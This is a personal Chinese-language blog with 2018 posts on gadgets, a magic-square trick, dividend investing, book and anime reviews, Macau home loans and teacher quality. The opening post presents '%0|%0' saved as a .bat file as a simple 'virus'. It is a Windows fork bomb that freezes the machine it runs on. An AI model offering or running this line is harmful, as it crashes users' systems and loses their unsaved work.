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2018年3月15日 星期四

超簡單旳電腦病毒


  1. 首先開啟一個記事本
  2. 輸入"%0|%0"
  3. 另存為bat或cmd檔案格式
只要跟着以上的步驟做,就可以制作出一個電腦病毒,
先在此記錄下,日後有興趣再去研究背後的道理。

2018年3月13日 星期二

WD MyCloud Home 使用


        隨着每天的數位資料越來越多,圖片、音樂、視頻、文字檔等不同類型的資料都需要好好保存下來,尤其是BB出生後,每天拍攝的照片簡直就是我的手機空間殺手。

       為了解決這樣的問題,以往的硬盤廠商WD推出了網絡硬盤WD MyCloud Home以便用戶可以隨時隨地連接個人空間,任意地檢視不同類型的資料。這次我購買的是3TB版本的硬盤空間,這已經比我的桌面電腦中的所有硬碟空間都多上不少,相信在合理地使用下,它一定可以陪我度過不少時間。   

    

2018年3月8日 星期四

魔術方陣



(不用填)
11
7
4
8
1
把列與欄相加



6




0




2





加法交換律
四則運算(+-*/)是我們從小學開始就接觸到的數學基礎知識,其中加法的交換律在小學的學習中一定會學習過,但是要知道交換律的特殊,並不是任何運算都一定可以達到交換就需要在高三的矩陣時才能體會到。

表演方式:
魔術師:我這裡有一個特殊的表格,想請你幫我完成一個小實驗。很多事件都在命運中自有安排,我會在紙張上寫下一個數字,待會完成實驗後這個數字就是你的選擇。
觀眾:我要做什麼呢?
魔術師:很簡單,我先簡單說明一下,橫為列,緃為欄,你先任意選擇其中一列與一欄,把當中重疊的數字圈起來。
觀眾:哦,那我選第一列與第三欄吧
魔術師:好的,剩下還有三列與三欄,你再選一列與一欄,把當中重疊的數字圈起來。
觀眾聽取魔術師的指導,選擇了第三列與第二欄。
魔術師:剩下還有二列與二欄,麻煩你再做二次選擇。
觀眾:沒問題,那我先選第四列與第四欄,然後再選第二列與第一欄。
魔術師:現在表格中出現了四個圈起來的數字,請你把它們相加,再告訴我答案是多少。
觀眾:等我一下,X+X+X+X=Y
魔術師:你現在可以看看紙張上的答案是多少了。

原理解析:
事先準備:首先任意寫下8個數字,正、負數亦可,這8個數字相加的結果寫在紙張上。然後把這些數字任意地填在上圖中的最上方與最左方,其餘格子中的數字為橫列與緃欄相加的結果。
數學原理:其實這個魔術背後包含着加法交換律,8個數字從左到右相加只有唯一的結果,但是透過話語的引導,觀眾在表格中最終只會選出4個數字,這些數字最終相加其實與紙張上的數字一定會一樣。











2018年3月5日 星期一

中學時期的學習


       普遍意義下的中學教育,只是有如爬山一樣一步一腳印地向上走着。話雖如此,但為何有人可以繼續,有人卻寸步難行呢?正如爬山一樣,珠穆朗瑪峰就在那裡,永遠都不會移動,但是目前為至,能夠攀上雪山的人又有多少呢?

5年計劃


    最近在同事的影響下,重新檢視自己的財務情況。

    價值投值法是股神巴菲特推薦的最佳方法,找到一個值得長久持有的優良資產,只要經過長時間,複利就能為此帶來龐大的收穫。但是在中途又要多少人能夠抵擋箇中的誘惑。

    最近看了一本理財的書籍,書中的例子是作者多年來的投資策略。有別於價值投資法的長期持有,作者更為注重現金流。無論是買入樓宇、股票、債卷,作者都一再強調期間的現金流,利用股息、利息再投入同類別資產去加大收益。

    目前我持有的股票約有1/3是打算長期持有的收租股,今後5年我打算嘗試加大投資金額,重點放在
盈富基金(02800.HK)、
領展房產基金(00823.HK)、
路勁基建(01098.HK)、
香港中華煤氣(00003.HK)
這類有高派息率的股份。所以最近我會慢慢放出其餘股份,每月增持上述股份。

2018年3月3日 星期六

Picsew使用方法




       今天發現了一個超好用的app---Picsew.

       平時大家都會分享一些截圖,但是如果欲分享的畫面較大,往往只能分成多張圖片來擷取。但是其實像iPhone早己經有全景的拍攝方法,只能把多張圖片看成是全景相片的一部分,透過拼裝重複的地方,使其成為一張全景相片就可以用"一張圖"來分享給親朋好友。

以下為親身示範:

書名:自私的基因


書名:自私的基因
作者:道金斯
出版社:天下文化


    這是一本放在書架上好一段時間的生物學書籍,當初買它的原因早已忘了,只記得當下看到的前一、二章的確是頗吸引人的,但是後來因為工作的原因,無暇看完整本書。

    鑒於今年的閱讀目標,我再一次把這本書放到我的閱讀目標上,果然堅持每日一章的閱讀量後,終於在今天看完了整本書,而這本書也沒有讓我失望,不愧為一本影響力十足的重要書籍。

    書中詳細解釋了基因如何操緃生物個體,以自私的方法不朽地生存下去,當中最引人注目的一定要作者首創的"瀰",借鑒於基因的複制特性,以人類的文化傳播為媒介,以文化獨特的魅力影響着人類整體的進步。基因的自私是天擇所導致的必然產物,為了使自己能夠留下更多的後代,基因會偏向對自己有益的遺傳方向傾斜,但人類除了自己的後代外,還可以留下自己在建築、音樂、體育、科學等領域的諸多成就,以此作為自己生存過後的證明。
     


2018年3月1日 星期四

ASUS ZenBook UX305初步使用


        在二天完全沒有使用過的情況下,電力保持居然可以維持在97%,著實使我感到難以相信。以前我對NOTEBOOK的看法,直到我遇上MACBOOK才發生改變,對此我還一度認為只有APPLE家的產品才能達到這種低功耗。

       沒想到,隨着科技的進步,原來現在已經有別的產品也能達到同樣的效果。由此看來,不只手機產業,連NOTEBOOK產業,不同品牌間的產品差異已經越來越少了。

      雖然我還沒有完整地使用ZenBook,但是由目前的使用情況來看,這件產品的確可以幫助我更好地完成日常的工作。






澳門青年首次置業

放寬青年首次置業按揭成數最高達九成


經過澳門政府新一輪針對樓市的政策後,800萬以下的樓宇單位出現上升的趨勢,受益於青年首置計劃的高成數按揭方案,不少有望成交的個案都在臨門一腳時撻訂,業主紛紛封盤靜待樓市的新消息。

澳門居民首置按揭成數

續:「好教師」、「有效能教師」和「專業教師」的定義和標準是甚麼?

在教育研究中,「好教師」、「有效能教師」和「專業教師」的定義和標準是甚麼?這些定義和標準是否在東方和西方社會有所不同?請引用這些定義和標準,評鑑影片中教師的素質。


「有效能教師」
  • 準時上下課,不要拖堂
  • 提高學生的學習興趣
  • 將學生教會,而不是有教就好
  • 扎實的學科知識
  • 定期進修,提高自身的教學技巧
  • 優秀的班級經營技巧
  • 高品質的授課形式
  • 即時對學生的錯誤給予回饋

「好教師」、「有效能教師」和「專業教師」的定義和標準是甚麼?

在教育研究中,「好教師」、「有效能教師」和「專業教師」的定義和標準是甚麼?這些定義和標準是否在東方和西方社會有所不同?

「好教師」:真誠對待學生
  • 相信學生,願意給學生犯錯的機會
  • 與學生的關係良好
  • 主動積極地照顧學生
  • 有教學熱誠
  • 不以"體罰"去懲罰學生

東京喰種


     從去年開始就不斷聽身邊的朋友講起,趁着最近考試的空閒時間,在Youtube上找到了東京喰種的第一季。

     喰種,是一種外形與人類無異,但內在結構已經完全不同於正常人,除了水與咖啡外,只能依賴進食人肉來維持生存。在我看來,這部動漫與<<進擊的巨人>>所帶來的反思相似,都在思考人在世界上遇到更加強大的存在時,應該如何反抗。

     牛羊,對人類而言,是餐桌上的美食;但是當人類,對喰種、巨人而言,也是同樣的食物時,人類與喰種之間就無可避免地發生為了生存而引起的戰爭。

     人類餵養家蓄,是為了解決自己的口腹之慾,那麼如果喰種也是同樣做時,相信一定沒有多少人類可以心甘情願成為他們的口糧。人類為了心安理得,要求屠宰時不能虐待動物,那麼喰種專門找傷重之人、年老之人等生存價值較低的人類,是否又能得到人類的諒解呢?

書名:活着

書名:活着
作者:余華
出版社:作家出版社




          福貴的一生充滿故事性,彷彿與我們無關。其實不管是誰,大家的人生都充滿了曲折。


          生活,就是那麼的奇妙。作者用第一人稱去講述福貴的一生,文字中只談及福貴自已的感受,而無需顧及聽故事的人的想法。生活也是這樣,是你在過,而不是別人在過。聽到福貴敗盡家產時,我為家珍日後的悲慘預前想好,但是多年以後,福貴還活着,他與家珍都還可以生存下去。塞翁失馬,焉知非福,生活,就是那麼的奇妙。


          福貴的家人不斷地離開,可是他對於自已的生命仍然沒有放棄。他沒有時間去埋怨世界對他的不公,他選擇繼續活下去。父母、兒女、妻子、女婿,外孫的一一離去,一定帶給福福貴極大的悲痛。對於這樣的悲慘,作者沒有多費時間去描寫,反而寫福貴要如何度過往後一個人的日子。


        有時候我會一個人獨自思考:難道這是要描寫人性的黑暗面嗎?為什麼經過那麼多的親人離逝,福貴還能苟延殘喘地活下來呢?也許人性就是那麼的淡薄,我們最愛的只是自已,只要自已可以生存,那麼才有時間去考慮如何可以過更好的生活。